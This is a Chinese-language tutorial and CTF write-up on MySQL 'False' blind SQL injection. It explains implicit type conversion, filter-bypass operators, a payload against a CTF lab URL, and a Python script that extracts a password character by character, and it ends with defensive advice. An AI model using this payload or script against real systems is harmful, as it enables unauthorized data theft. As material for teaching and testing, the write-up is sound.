实例讲解False盲注基础原理
字数 1380 2025-08-18 11:37:07
False盲注基础原理与实战教学
0×01 前言
False盲注是一种可以绕过某些WAF(Web应用防火墙)的SQL注入技术,由于其特殊性容易被忽视。本文将通过CTF实例详细讲解False盲注的原理、应用场景和实战技巧。
0×02 False注入原理
False盲注的核心原理基于MySQL的隐式类型转换机制:
- 当字符串与数字进行比较时,MySQL会尝试将字符串转换为浮点数
- 字符串转换时会产生warning,转换结果为0
- 例外情况:如果字符串以数字开头,则会截取数字部分进行转换
关键点:
'admin' = 0在MySQL中为真(True)- 这种特性可以用于构造布尔型盲注条件
0×03 关键函数与运算符
常用函数
MID(column_name,start[,length]):从指定位置提取字符串- 由于空格被过滤,可使用
from语法:mid((password)from(1))
- 由于空格被过滤,可使用
ASCII():返回字符的ASCII码值substr():字符串截取函数(本例中未使用)
可用运算符
当常见运算符被过滤时,可考虑以下替代方案:
- 位运算符:
|(位或)、&(位与)、^(位异或) - 算术运算符:
+、-、*、/、%
优先级注意:按位或(|)的优先级高于赋值(=),所以先执行位运算再赋值
0×04 实战案例分析
目标环境
- URL: http://118.89.219.210:49167/index.php
- 过滤内容:空格、%0a、/**/、and、union等
- 可用运算符:
|、&、^
注入原理详解
构造payload:
username=admin'|(ascii(mid((password)from(1)))>53)#&password=sd
解释:
admin'被隐式转换为0(ascii(mid((password)from(1)))>53)是一个布尔条件,结果为True(1)或False(0)- 使用位或运算:0|0=0,0|1=1
- 当username=0时,返回查询字段的所有数据(前提是username字段没有以数字开头的记录)
判断条件
通过页面返回的不同响应(如"password error")来判断条件是否为真
自动化脚本
import requests
url = "http://118.89.219.210:49167/index.php"
r = requests.Session()
result = ''
for i in range(1, 33): # 假设密码长度为32
for j in range(37, 127): # 可打印字符的ASCII范围
payload = "admin'|(ascii(mid((password)from({0})))>{1})#".format(str(i), str(j))
data = {"username": payload, "password": "psdvs"}
print(payload)
html = r.post(url, data=data)
if "password error" in html.content:
result += chr(j)
print(result)
break
print(result)
0×05 绕过技巧扩展
运算符替代方案
-
构造0的方法:
+:0+0=0-:0-0=0*:0*1=0/:' '/1=0%:' '%1=0
-
比较运算符替代:
=被过滤时可使用like或regexp>和<被过滤时可使用greatest()/least()
字符串截取替代
mid(str from pos):避免使用空格substring(str from pos)left(str, len)/right(str, len)
0×06 防御建议
- 使用参数化查询(prepared statements)
- 严格限制输入类型和范围
- 对所有用户输入进行过滤和转义
- 避免在SQL查询中使用动态拼接
- 实现最小权限原则,限制数据库用户权限
0×07 总结
False盲注是一种利用MySQL隐式类型转换特性的注入技术,特别适用于某些WAF绕过场景。通过理解其原理和掌握相关函数、运算符的使用方法,安全研究人员可以更好地测试和防御这类漏洞。在实际应用中,建议结合自动化工具提高效率,同时也要注意合法合规地进行安全测试。